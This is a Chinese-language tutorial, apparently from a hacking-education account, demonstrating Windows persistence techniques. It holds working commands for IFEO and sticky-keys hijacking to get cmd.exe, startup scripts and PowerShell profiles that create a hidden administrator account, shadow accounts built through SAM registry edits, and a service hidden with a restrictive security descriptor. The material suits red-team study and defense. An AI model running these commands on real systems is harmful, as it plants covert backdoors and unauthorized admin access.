零基础学黑客,搜索公众号:白帽子左一
简介
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。
当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。
出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。
简单点说,当你打开的是程序A,而运行的却是程序B。
复现
执行命令,将cmd.exe程序劫持粘滞键。
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”
连续按5次shift键之后,目标系统弹出cmd.exe,并不是之前的粘滞键界面
简介
Windows操作系统的组策略是配置计算机中某一些用户组策略的程序,由系统管理员操作控制计算机程序、访问网络资源、操作行为、各种软件设置的最主要工具。
复现
第一步:准备一个bat脚本,内容为:net user qiesi abc123… /add & net localgroup administrators qiesi /add ;
并将脚本放到C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup中
第二步:【gpedit.msc】打开组策略,在 【windows 设置】-> 【脚本(启动/关机】-> 启动 -> 添加1.bat。
这样的话,每一次启动都会创建一个qiesi账户。
第三步:重启服务器
简介
辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读),可以帮助人更轻松地使用Windows操作系统,但是此功能可能会被滥用,以在已启用RDP且已获得管理员级别权限的主机上实现持久性。
复现
第一步:将sethc.exe拥有者改为administrator。
第二步:输入命令
move C:\windows\system32\sethc.exe C:\windows\system32\sethc1.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
第三步:连续按5次shift
最后,除了shift之外,还有以下这些也可以尝试
简介
注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。
这些作用包括了软、硬件的相关配置和状态信息,比如注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据等,联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性,性能记录和其他底层的系统状态信息,以及其他数据等。
复现
第一步:输入命令
reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “test2” /t REG_SZ /d “C:\Windows\System32\notepad.exe” /f
第二步:重启服务器,自动会打开notepad.exe
简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。
复现
第一步:准备1.bat脚本,内容为:net user qiesi abc123… /add & net localgroup administrators qiesi /add
第二步:打开Windows PowerShell ,输入以下命令
echo $profile # 查看当前是否存在配置文件。
Test-path $profile # 如果返回Flase 则可以进行配置
New-Item -Path $profile -Type File –Force # 创建配置文件
$string = ‘Start-Process “C:\1.bat”’
$string | Out-File -FilePath $profile -Append
more $profile # 查看文件
第三步:重新打开powershell就会自动执行
简介
影子账户,顾名思义就是隐藏的账户,在“控制面板-用户账户”里面是看不见,但却有管理员权限的账户
复现
第一步:创建一个带$符号的账户。
第二步:打开注册表
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User。
将管理员对应的F项的值,复制粘贴到qiesi$用户的对应F项的值。
第三步:导出用户及对应的项的注册表文件,删除掉用户。
第四步:重新导入,双击reg文件即可。
第五步:登陆目标服务器,利用影子账号。
首先,管理账户中并没有qiesi$账户
远程登陆
简介
windows访问控制模型分为两部分:1.access token(访问令牌)。2.安全描述符。安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。可以利用sc来进行创建。
复现
第一步:cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Windows\System32\notepad.exe" depend= Tcpip obj= Localsystem start= auto
第二步:隐藏服务
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)
(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)
(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"